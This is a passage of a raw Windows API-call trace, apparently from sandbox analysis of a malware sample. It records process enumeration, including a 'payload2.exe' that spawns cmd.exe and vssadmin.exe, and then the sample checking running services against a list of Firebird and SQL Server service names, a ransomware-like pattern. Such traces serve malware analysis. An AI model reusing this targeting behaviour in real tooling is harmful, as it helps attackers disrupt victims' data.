[0056.242] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.242] lstrlenW (lpString="dwm.exe") returned 7 [0056.243] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.243] lstrlenW (lpString="explorer.exe") returned 12 [0056.243] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.244] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.244] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.245] lstrlenW (lpString="taskhost.exe") returned 12 [0056.245] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.245] lstrlenW (lpString="svchost.exe") returned 11 [0056.245] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.246] lstrlenW (lpString="taskeng.exe") returned 11 [0056.246] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.247] lstrlenW (lpString="taskhost.exe") returned 12 [0056.247] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0056.247] lstrlenW (lpString="presidential.exe") returned 16 [0056.248] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0056.292] lstrlenW (lpString="ol-filing.exe") returned 13 [0056.300] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0056.301] lstrlenW (lpString="overcome.exe") returned 12 [0056.301] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0056.302] lstrlenW (lpString="declinedreferral.exe") returned 20 [0056.302] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0056.303] lstrlenW (lpString="franciscotrack.exe") returned 18 [0056.303] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0056.304] lstrlenW (lpString="nicholas.exe") returned 12 [0056.304] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0056.304] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0056.304] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0056.305] lstrlenW (lpString="word.exe") returned 8 [0056.305] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0056.306] lstrlenW (lpString="semestermeta.exe") returned 16 [0056.306] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0056.306] lstrlenW (lpString="reflects.exe") returned 12 [0056.306] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0056.307] lstrlenW (lpString="beveragesradios.exe") returned 19 [0056.307] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0056.308] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0056.308] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0056.309] lstrlenW (lpString="ground.exe") returned 10 [0056.309] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0056.309] lstrlenW (lpString="least.exe") returned 9 [0056.309] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0056.310] lstrlenW (lpString="meetings.exe") returned 12 [0056.310] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0056.311] lstrlenW (lpString="wooltestimony.exe") returned 17 [0056.311] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0056.312] lstrlenW (lpString="inexpensive.exe") returned 15 [0056.312] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0056.312] lstrlenW (lpString="er-amd.exe") returned 10 [0056.312] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0056.313] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0056.313] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.314] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.314] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0056.314] lstrlenW (lpString="payload2.exe") returned 12 [0056.315] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.315] lstrlenW (lpString="cmd.exe") returned 7 [0056.315] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.316] lstrlenW (lpString="conhost.exe") returned 11 [0056.316] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.317] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.317] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.317] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.317] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.318] lstrlenW (lpString="svchost.exe") returned 11 [0056.318] Process32NextW (in: hSnapshot=0x17c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.319] CloseHandle (hObject=0x17c) returned 1 [0056.319] Sleep (dwMilliseconds=0x1f4) [0056.855] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fa38 [0056.856] EnumServicesStatusExW (in: hSCManager=0x29fa38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0056.856] GetLastError () returned 0xea [0056.856] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x47f0050 [0056.856] EnumServicesStatusExW (in: hSCManager=0x29fa38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x47f0050, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x47f0050, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0056.856] CloseServiceHandle (hSCObject=0x29fa38) returned 1 [0056.857] lstrlenW (lpString="Appinfo") returned 7 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.857] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.857] lstrlenW (lpString="AudioSrv") returned 8 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.857] lstrlenW (lpString="BFE") returned 3 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.857] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.857] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.857] lstrlenW (lpString="CryptSvc") returned 8 [0056.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.857] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.857] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.858] lstrlenW (lpString="CscService") returned 10 [0056.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.858] lstrlenW (lpString="DcomLaunch") returned 10 [0056.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.858] lstrlenW (lpString="Dhcp") returned 4 [0056.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.858] lstrlenW (lpString="Dnscache") returned 8 [0056.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.858] lstrlenW (lpString="DPS") returned 3 [0056.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.858] lstrlenW (lpString="eventlog") returned 8 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.859] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.859] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.859] lstrlenW (lpString="EventSystem") returned 11 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.859] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.859] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.859] lstrlenW (lpString="gpsvc") returned 5 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.859] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.859] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.859] lstrlenW (lpString="iphlpsvc") returned 8 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.859] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.859] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.859] lstrlenW (lpString="LanmanServer") returned 12 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.859] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.859] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.859] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.860] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.860] lstrlenW (lpString="lmhosts") returned 7 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.860] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.860] lstrlenW (lpString="MMCSS") returned 5 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.860] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.860] lstrlenW (lpString="MpsSvc") returned 6 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.860] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.860] lstrlenW (lpString="Netman") returned 6 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.860] lstrlenW (lpString="netprofm") returned 8 [0056.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.860] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.861] lstrlenW (lpString="NlaSvc") returned 6 [0056.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.861] lstrlenW (lpString="nsi") returned 3 [0056.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.861] lstrlenW (lpString="PcaSvc") returned 6 [0056.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.861] lstrlenW (lpString="PlugPlay") returned 8 [0056.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.861] lstrlenW (lpString="Power") returned 5 [0056.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.862] lstrlenW (lpString="ProfSvc") returned 7 [0056.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.862] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.862] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.862] lstrlenW 